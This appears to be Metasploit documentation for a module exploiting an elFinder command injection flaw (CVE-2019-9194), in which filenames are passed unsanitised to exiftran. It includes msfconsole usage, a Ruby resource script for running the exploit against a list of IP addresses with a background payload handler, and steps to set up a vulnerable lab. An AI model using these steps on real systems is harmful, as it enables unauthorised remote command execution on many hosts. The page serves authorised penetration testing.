List of CVEs: CVE-2019-9194
This module exploits a command injection vulnerability in
elFinder versions prior to 2.1.48. The PHP connector
component allows unauthenticated users to upload files and
perform file modification operations, such as resizing and
rotation of an image. The file name of uploaded files is not
validated, allowing shell metacharacters. When performing
image operations on JPEG files, the filename is passed to
the exiftran
utility without appropriate sanitization,
causing shell commands in the file name to be executed,
resulting in remote command injection as the web server
user. The PHP connector is not enabled by default. The
system must have exiftran
installed and in $PATH
. This
module has been tested successfully on elFinder versions
2.1.47, 2.1.20 and 2.1.16 on Ubuntu.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using elfinder_php_connector_exiftran_cmd_injection against a single host
Normally, you can use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection this way:
msf > use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
msf exploit(elfinder_php_connector_exiftran_cmd_injection) > show targets
... a list of targets ...
msf exploit(elfinder_php_connector_exiftran_cmd_injection) > set TARGET target-id
msf exploit(elfinder_php_connector_exiftran_cmd_injection) > show options
... show and set options ...
msf exploit(elfinder_php_connector_exiftran_cmd_injection) > exploit
Using elfinder_php_connector_exiftran_cmd_injection against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your elfinder_php_connector_exiftran_cmd_injection will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc

Knowledge Base
Description
This module exploits a command injection vulnerability in elFinder versions prior to 2.1.48.
The PHP connector component allows unauthenticated users to upload files and perform file modification operations, such as resizing and rotation of an image. The file name of uploaded files is not validated, allowing shell metacharacters.
When performing image operations on JPEG files, the filename is passed
to the exiftran
utility without appropriate sanitization, causing
shell commands in the file name to be executed, resulting in remote
command injection as the web server user.
The PHP connector is not enabled by default.
The system must have exiftran
installed and in $PATH
.
Vulnerable Software
elFinder is an open-source file manager for web, written in JavaScript using jQuery and jQuery UI.
This module has been tested successfully on elFinder versions 2.1.47, 2.1.20 and 2.1.16 on Ubuntu.
Enable the PHP connector:
mv php/connector.minimal.php-dist php/connector.minimal.php
Install required exiftran
utility:
apt-get install exiftran
